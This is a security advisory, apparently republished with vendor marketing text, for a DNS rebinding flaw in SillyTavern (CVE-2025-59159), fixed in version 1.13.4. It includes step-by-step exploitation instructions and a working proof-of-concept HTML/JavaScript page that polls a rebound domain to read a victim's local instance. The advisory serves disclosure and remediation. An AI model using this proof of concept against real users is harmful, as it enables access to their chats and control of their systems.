Summary
The web UI for SillyTavern is susceptible to DNS rebinding, allowing attackers to perform actions like install malicious extensions, read chats, inject arbitrary HTML for phishing, etc.
Details
DNS rebinding is a method to bypass the CORS policies by tricking the browser into resolving something like 127.0.0.1 for a site's DNS address. This allows anybody to get remote access to anyone's SillyTavern instance without it being exposed, just by visiting a website.
PoC
- Host the PoC HTML file on a
/rebind.htmlendpoint (or any other endpoint) on a web server on port 8000 - Go to https://lock.cmpxchg8b.com/rebinder.html and input your IP address (A) to rebind to 127.0.0.1 (B)
- Replace the URL in the HTML with the returned URL on the site
- Go to
http://[URL]:8000/rebind.htmlin firefox or on any mobile browser if you're using termux - Check the developer tools console. It should return all of the data
Here is the PoC code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>Rebind Payload</title>
</head>
<body>
<script>
async function tryRebind() {
while (true) {
try {
let res = await fetch("http://[DOMAIN HERE]:8000/");
let text = await res.text();
if (text.includes("Directory listing for /")) {
console.log("Still attacker server, retrying...");
await new Promise(r => setTimeout(r, 2000));
continue; // don't break yet
}
console.log("GOT VICTIM RESPONSE!");
console.log(text.substring(0, 300));
break;
} catch (e) {
console.log("Fetch failed, retrying...", e);
await new Promise(r => setTimeout(r, 2000));
}
}
}
tryRebind();
</script>
</body>
</html>
Resolution
A vulnerability has been patched in the version 1.13.4 by introducing a server configuration setting that enables a validation of host names in inbound HTTP requests according to the provided list of allowed hosts: hostWhitelist.enabled in config.yaml file or SILLYTAVERN_HOSTWHITELIST_ENABLED environment variable.
While the setting is disabled by default to honor a wide variety of existing user configurations and maintain backwards compatibility, existing and new users are encouraged to review their server configurations and apply necessary changes to their setup, especially if hosting over the local network while not using SSL.
Resources
Impact
Attackers can read user chats, inject HTML for stuff like phishing, download arbitrary malicious extensions, etc. Essentially gaining full control over users' SillyTavern systems.
CVE-2025-59159 has a CVSS score of 9.6 (Critical). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.13.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2025-59159? CVE-2025-59159 is a critical-severity security vulnerability in sillytavern (npm), affecting versions < 1.13.4. It is fixed in 1.13.4.
- How severe is CVE-2025-59159? CVE-2025-59159 has a CVSS score of 9.6 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of sillytavern are affected by CVE-2025-59159? sillytavern (npm) versions < 1.13.4 is affected.
- Is there a fix for CVE-2025-59159? Yes. CVE-2025-59159 is fixed in 1.13.4. Upgrade to this version or later.
- Is CVE-2025-59159 exploitable, and should I be worried? Whether CVE-2025-59159 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2025-59159 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2025-59159? Upgrade
sillytavernto 1.13.4 or later.